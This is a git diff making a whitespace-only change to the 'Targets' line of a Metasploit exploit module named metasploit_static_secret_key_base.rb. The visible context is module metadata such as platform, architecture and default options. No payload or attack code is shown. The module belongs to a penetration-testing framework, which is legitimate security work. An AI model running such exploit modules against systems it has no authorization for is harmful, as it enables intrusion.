.../exploits/multi/http/metasploit_static_secret_key_base.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/metasploit_static_secret_key_base.rb b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb index 8840c3449d..a819f1c52d 100644 --- a/modules/exploits/multi/http/metasploit_static_secret_key_base.rb +++ b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb @@ -125,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, - 'Targets' => [ ['Automatic', {} ] ], + 'Targets' => [ ['Automatic', {} ] ], 'DefaultTarget' => 0, 'DefaultOptions' => {